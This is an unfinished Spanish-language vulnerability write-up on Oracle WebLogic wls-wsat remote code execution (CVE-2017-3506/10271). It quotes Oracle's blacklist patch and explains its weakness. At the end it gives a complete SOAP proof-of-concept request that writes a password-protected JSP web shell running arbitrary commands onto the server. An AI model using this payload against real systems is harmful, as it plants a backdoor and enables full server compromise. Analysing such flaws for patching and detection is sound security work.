
WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
En los primeros días, los atacantes utilizaron la vulnerabilidad del componente WLS de WebLogic para lanzar ataques remotos a gran escala contra servidores empresariales. Un gran número de servidores de empresas fueron comprometidos, y la cantidad de empresas atacadas mostraba una tendencia claramente ascendente, lo que requería gran atención. Entre ellas, CVE-2017-3506 es una vulnerabilidad de ejecución remota de código que explota el componente WLS en Oracle WebLogic, y es una vulnerabilidad de explotación en campo sin detalles públicos. Muchas empresas aún no habían instalado el parche a tiempo. Oracle lanzó el parche para esta vulnerabilidad en abril de 2017.
Descripción del parche para CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Simplemente se agregó una función validate antes de la deserialización. Si qName es igual a "object", se lanza una excepción y se detiene el proceso. Bastante simple y directo, sin embargo, esta reparación basada en una lista negra es difícil de corregir completamente. Vale la pena reflexionar...
El método de explotación de esta vulnerabilidad es relativamente simple. El atacante solo necesita enviar una solicitud HTTP cuidadosamente construida para obtener permisos en el servidor objetivo, lo que representa un gran peligro. Dado que la vulnerabilidad es relativamente nueva, todavía hay muchos hosts que no han actualizado los parches correspondientes. Se prevé que después de este incidente repentino, es muy probable que el número de ataques se dispare y muchos hosts nuevos sean comprometidos.
El parche de Oracle de abril de 2017 para CVE-2017-3506 no fue una solución completa; se puede eludir y aún así ejecutar comandos remotos. La vulnerabilidad CVE-2017-10271, que permitía la elusión, fue corregida en el parche de octubre publicado por Oracle.
CVE-2017-3506 (Vulnerabilidad de ejecución remota de comandos en wls-wsat) CVE-2017-10271 (Vulnerabilidad de elusión de ejecución remota de comandos en wls-wsat)
Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.1.0 Oracle WebLogic Server 12.2.1.2.0
mitre: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Poc:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
No se ha terminado, tuve que salir...